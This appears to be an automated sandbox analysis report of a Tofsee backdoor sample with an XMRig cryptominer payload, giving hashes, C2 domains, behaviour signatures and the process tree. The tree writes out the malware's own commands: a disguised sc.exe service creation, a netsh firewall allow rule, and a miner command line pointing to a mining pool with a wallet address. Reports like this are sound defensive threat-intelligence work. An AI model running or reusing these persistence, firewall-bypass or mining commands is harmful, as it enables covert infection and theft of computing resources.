Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    07/01/2023, 12:10

General

  • Target
    file.exe
  • Size 320KB
  • Sample230107-pb2hgsde38
  • SHA256 88c3524e5be3489c47892d0020cdf804b55d2d9f6f28574e61efe008b7bfd09e
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1708
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\hyjaskua\
      2⤵
        PID:1948
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\syqfkdu.exe" C:\Windows\SysWOW64\hyjaskua\
        2⤵
          PID:1548
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create hyjaskua binPath= "C:\Windows\SysWOW64\hyjaskua\syqfkdu.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1640
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description hyjaskua "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:268
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start hyjaskua
          2⤵
          • Launches sc.exe
          PID:700
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1860
      • C:\Windows\SysWOW64\hyjaskua\syqfkdu.exe
        C:\Windows\SysWOW64\hyjaskua\syqfkdu.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:776
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:924
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1948

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            syqfkdu.exe

            • Path C:\Users\Admin\AppData\Local\Temp\syqfkdu.exe
            • Size 11.4MB
            • SHA256 54cb23fc2d7a7c8d3443618ae860f44d675a5f7d31dc4e777db3603482d253e0
            • MD5 SHA1 SHA512 SSDEEP

            syqfkdu.exe

            • Path C:\Windows\SysWOW64\hyjaskua\syqfkdu.exe
            • Size 11.4MB
            • SHA256 54cb23fc2d7a7c8d3443618ae860f44d675a5f7d31dc4e777db3603482d253e0
            • MD5 SHA1 SHA512 SSDEEP

            memory/776-78-0x0000000000400000-0x0000000003013000-memory.dmp

            memory/776-74-0x000000000347B000-0x0000000003491000-memory.dmp

            memory/924-83-0x00000000002D0000-0x00000000002D6000-memory.dmp

            memory/924-79-0x00000000000C0000-0x00000000000D5000-memory.dmp

            memory/924-98-0x00000000000C0000-0x00000000000D5000-memory.dmp

            memory/924-95-0x0000000000570000-0x0000000000577000-memory.dmp

            memory/924-92-0x0000000005530000-0x000000000593B000-memory.dmp

            memory/924-89-0x0000000000500000-0x0000000000505000-memory.dmp

            memory/924-72-0x00000000000C0000-0x00000000000D5000-memory.dmp

            memory/924-70-0x00000000000C0000-0x00000000000D5000-memory.dmp

            memory/924-86-0x0000000000330000-0x0000000000340000-memory.dmp

            memory/924-80-0x0000000001890000-0x0000000001A9F000-memory.dmp

            memory/1708-66-0x00000000031CB000-0x00000000031E1000-memory.dmp

            memory/1708-56-0x0000000000220000-0x0000000000233000-memory.dmp

            memory/1708-54-0x0000000075D51000-0x0000000075D53000-memory.dmp

            memory/1708-55-0x00000000031CB000-0x00000000031E1000-memory.dmp

            memory/1708-67-0x0000000000400000-0x0000000003013000-memory.dmp

            memory/1708-58-0x0000000000400000-0x0000000003013000-memory.dmp

            memory/1948-99-0x0000000000100000-0x00000000001F1000-memory.dmp

            memory/1948-101-0x0000000000100000-0x00000000001F1000-memory.dmp